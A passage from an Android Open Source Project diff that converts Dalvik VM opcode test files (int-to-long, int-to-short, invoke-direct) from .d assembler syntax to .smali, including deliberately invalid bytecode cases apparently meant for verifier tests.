+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.d
deleted file mode 100644
index f71a28d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_6.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       int-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali
new file mode 100644
index 0000000..8d34b62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_6.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       int-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.d
deleted file mode 100644
index c2db686..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_long_7.java
-.class public dot.junit.opcodes.int_to_long.d.T_int_to_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       int-to-long v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali
new file mode 100644
index 0000000..3edbd53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_long/d/T_int_to_long_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_long_7.java"
+.class  public Ldot/junit/opcodes/int_to_long/d/T_int_to_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       int-to-long v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.d
deleted file mode 100644
index fcf1727..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_1.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       int-to-short v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali
new file mode 100644
index 0000000..5d66043
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_1.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.d
deleted file mode 100644
index 9c1154b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_2.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-short v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali
new file mode 100644
index 0000000..e55c77b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_2.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-short v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.d
deleted file mode 100644
index 5f83549..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_3.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-short v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali
new file mode 100644
index 0000000..4db865f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_3.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       const-wide v0, 1234
+       int-to-short v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.d
deleted file mode 100644
index 147fb66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_4.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       int-to-short v2, v3
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali
new file mode 100644
index 0000000..473c5a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_4.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v2, v3
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.d
deleted file mode 100644
index 8ca83e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_5.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)S
-.limit regs 5
-
-       int-to-short v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali
new file mode 100644
index 0000000..e97e5ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_5.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)S
+.registers 5
+
+       int-to-short v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.d
deleted file mode 100644
index 8d6f0ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_short_6.java
-.class public dot.junit.opcodes.int_to_short.d.T_int_to_short_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)S
-.limit regs 5
-
-       int-to-short v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali
new file mode 100644
index 0000000..e328b80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_short/d/T_int_to_short_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_short_6.java"
+.class  public Ldot/junit/opcodes/int_to_short/d/T_int_to_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)S
+.registers 5
+
+       int-to-short v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.d
deleted file mode 100644
index 65a8a32..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_1.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_1
-.super dot/junit/opcodes/invoke_direct/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/TSuper/toInt()I
-       move-result v1
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali
new file mode 100644
index 0000000..403e003
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_1.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_1;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TSuper;->toInt()I
+       move-result v1
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.d
deleted file mode 100644
index 08b22c9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_10.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v0, 1222
-       invoke-direct {v0}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali
new file mode 100644
index 0000000..12753a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_10.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_10.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       const v0, 1222
+       invoke-direct {v0}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_10;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.d
deleted file mode 100644
index 6566718..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_11.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot.junit.opcodes.invoke_direct.d.T_invoke_direct_11/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
-.method private static toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali
new file mode 100644
index 0000000..82f9b2f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_11.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_11.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_11;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
+.method private static toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.d
deleted file mode 100644
index 9f79d59..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_12.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_12
-.super dot/junit/opcodes/invoke_direct/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/TSuper/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali
new file mode 100644
index 0000000..0fbe0d3
--- /dev/null
